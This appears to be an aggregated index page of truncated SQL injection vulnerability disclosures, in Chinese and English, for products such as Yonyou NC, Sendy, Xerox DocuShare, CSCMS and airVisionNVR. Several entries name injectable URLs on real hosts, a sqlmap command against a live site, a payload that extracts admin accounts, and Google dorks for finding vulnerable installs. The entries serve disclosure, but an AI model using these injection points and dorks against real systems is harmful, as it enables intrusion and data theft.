用友NC-IUFO报表系统SQL注入（无需登录通杀所有版本）

简要描述： 用友NC-集团报表为集团企业用户提供全面的报表解决方案，它主要支持各类业务报表的输出、合并报表编制、分部报告编制以及报表的权限与流程管理，客户涉及金融、政府、教育、企业等 ------------------------------------------------ 该SQL注入点简单粗暴！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！ 详细说明： 用友IUFO如图： 问题出在单位编码这，点击放大镜查找的时候一直是这页面，还以为没这功能呢，后来才发现可以直接访问URL进入搜索页面； 随便找个:...

帝友P2P借贷系统最新版SQL注入

简要描述： 不描述了，忙着去改金额=。= 详细说明： 注入点:http://www.diyou.cc/?plugins&area=&class=usel&name=work&q=areas&type=p,c&value=1 GET参数value未有效过滤导致存在注入 这是你们家的官网产品演示站对吧？ 通知存在注入点，未做进一步测试，赶紧赶紧赶紧修复！ python sqlmap.py -u "http://www.diyou.cc/?plugins&area=&class=usel&name=work&q=areas&type=p,c&value=1" --batch -p "value...

Sendy 1.1.9.1 - SQL Injection Vulnerability

Sendy contains a flaw that may allow carrying out an SQL injection attack. The issue is due to the /send-to script not properly sanitizing user-supplied input to the "c" parameter. This may allow a remote attacker to inject or manipulate SQL queries in the back-end database, allowing for the...

Xerox DocuShare - SQL Injection

Xerox DocuShare - SQL Injection The following request is vulnerable to a SQL injection in the last URI segment: GET /docushare/dsweb/ResultBackgroundJobMultiple/1 HTTP/1.1 Host: 172.31.16.194:8080 User-Agent: Mozilla/5.0 X11; Ubuntu; Linux x8664; rv:26.0 Gecko/20100101 Firefox/26.0 Accept:...

Xerox DocuShare SQL Injection

The following request is vulnerable to a SQL injection in the last URI segment: GET /docushare/dsweb/ResultBackgroundJobMultiple/1 HTTP/1.1 Host: 172.31.16.194:8080 User-Agent: Mozilla/5.0 X11; Ubuntu; Linux x8664; rv:26.0 Gecko/20100101 Firefox/26.0 Accept:...

SrunDisk存储系统通用型盲注

简要描述： 刚看看官网原来跟Srun3000另外一款Srundisk系统 详细说明： Url:http://218.75.75.92/userspace.php?username=admin username参数过滤不严,直接单引号检测,直接跳转进入空间页面,但是都到Sqlmap可以直接跑数据。 漏洞证明： database management system users 6: ''@'localhost' 'aaa'@'%' 'guest'@'%' 'icc'@'%' 'root'@'127.0.0.1' 'root'@'localhost'...

逐浪cms通用型post注入

简要描述： 逐浪cms post注入 详细说明： Url:http://demo.zoomla.cn/Plugins/Register.aspx 注册页面 参数TxtCode过滤不严 抓包： VIEWSTATE=%2FwEPDwUKMTIyNDY2NzAxNGRk0w6kzdp8SCGVd8OTDosLe3fFnE9ZAKecfpfoPfbVfKI%3D&TxtCode=1111&TxtPassword=111&TxtPassword1=111'&Button1= 漏洞证明： 漏洞证明： img...

godontologico 5 SQL注入漏洞

No description provided by source. 1 Sql Injection POST Time Based Blind Note: Time based Injection on POST requests as indicated on the output. You might use sqlmap -l to load it though. Admin hashes under Table ‘funcionarios' on column ‘senha'. PoC: POST /gco/wallpapers/indexajax.php HTTP/1.1...

godontologico 5 - SQL Injection

Exploit: 0day godontologico v5 - SQL Inject + Author: vinicius777 + Contact: vinicius777 AT gmail - @vinicius777 + Vendor Homepage: http://sourceforge.net/projects/godontologico/ + Google D0rks: "Smile Odonto - Enhancing your smile - www.smileodonto.com.br" + Google D0rks: "Smile Odonto ® -...

CSCMS V3.5 最新版 SQL注射（官方站演示+源码详析）

简要描述： CSCMS V3.5 最新版 存在着注射漏洞，已经在官方演示站证实 http://demo.chshcms.com/ 代码分析在 详细说明 中，实站演示在 漏洞证明中 详细说明： /app/controllers/user/music.php line 16 public function index //用户会员中心-音乐-我分享的-中文舞曲 $data=''; //下面几句使用了xssclean，并不会过滤SQL注射字符，尤其是单引号 $yid = $this-security-xssclean$this-input-get'yid', TRUE;...

RedAxScript 1.1 SQL Injection

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site : 1337day.com 0 1 + Support e-mail :...

Z-Blog的php版前台正则SQL盲注漏洞

简要描述： 第二发...另外有点疑惑想问下你们的开发 详细说明： 问题出在 /zbsystem/function/csystemcommon.php function GetVars$name,$type='REQUEST' if $type=='ENV' $array=&$ENV; if $type=='GET' $array=&$GET; if $type=='POST' $array=&$POST; if $type=='COOKIE' $array=&$COOKIE; if $type=='REQUEST' $array=&$REQUEST; if $type=='SERVER'...

WIWOS Enpowering Web Solutions SQL Injection Vulnerability

WIWOS Enpowering Web Solutions SQL Injection Vulnerability .:. Author : larcenciels .:. Contact : email protected | email protected .:. Site : http://winnerawan.com/ Dork: "Enpowered by: wiwos" dork: intext:"Enpowered by: wiwos" vuln: apps/ProductManager/ i use sqlmap poc:...

Use Sqlmap to test MetInfo enterprise website management system MySql injection vulnerability-vulnerability warning-the black bar safety net

The last fork fork tell Sqlmap simple injection access database tutorial, this time we talk about the MySql database MetInfo is a powerful enterprise web site management system, using PHP+Mysql architecture. Fork fork download The is MetInfo 5.1.5 the free version, let's not pick, not analysis of...

MyMarket 1.72 bypass admin login & product_details blind sqli

Exploit for php platform in category web applications Exploit Title: MyMarket 1.72 bypass admin login & productdetails blind sqli Google Dork: intext:"MyMarket version 1.71" Tested on: Linux Bug finder & Exploit Coder:NEt Bomber http://fb.me/net.bomba Beside other sqli exploits found on exploits...

UCenter Home 2.0某插件鸡肋注入漏洞（不知道是不是0day)

简要描述： 某个插件的问题，不知道是不是0day 详细说明： 影响版本:UCenter Home 2.0 关键词：inurl:musicbox.php?do= inurl:do=musicbox Powered by UCenter Home 2.0 inurl:space.php?do=musicbox 发生问题的插件是musicbox，通过上面的关键字进行检索后会找到一些启用了这个插件的站点，在网址后加“'”会报错，放入SQLmap中跑了下，几乎都存在注入。 漏洞证明：...

Network job recruitment website system official version of the vulnerability-vulnerability warning-the black bar safety net

The vulnerability appears in the Educate/BookInfo. asp Here the injection point while filtering out some of the keywords but we can still blind you can use sqlmap to run out exp: the following Query management accounts: The+aNd+0=selEct+toP+1+suSupperName+frOm+pHWebSupper Query management...

Peruvian Universities SQL Injection

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Exploit Title : Peruvian Universities - MS Access/SQL Injection Vulnerabilities Date : 16-11-2012 Author : Caleb Bucker Independent Security Researcher Contact : https://twitter.com/CalebDrugs Website :...

airVisionNVR 1.1.13 - readfile() Disclosure SQL Injection

airVisionNVR 1.1.13 - readfile Disclosure SQL Injection Exploit Title: airVisionNVR readfile disclosure and sql injection Google Dork: Date: Oct 13, 2012 Exploit Author: pennyGrit Vendor Homepage: http://www.ubnt.com/ Software Link:...

airVisionNVR 1.1.13 readfile() Disclosure and SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: airVisionNVR readfile disclosure and sql injection Date: Oct 13, 2012 Exploit Author: pennyGrit Vendor Homepage: http://www.ubnt.com/ Software Link: http://www.ubnt.com/downloads/airvision/airVision-v1.1.3-installer.exe Version:...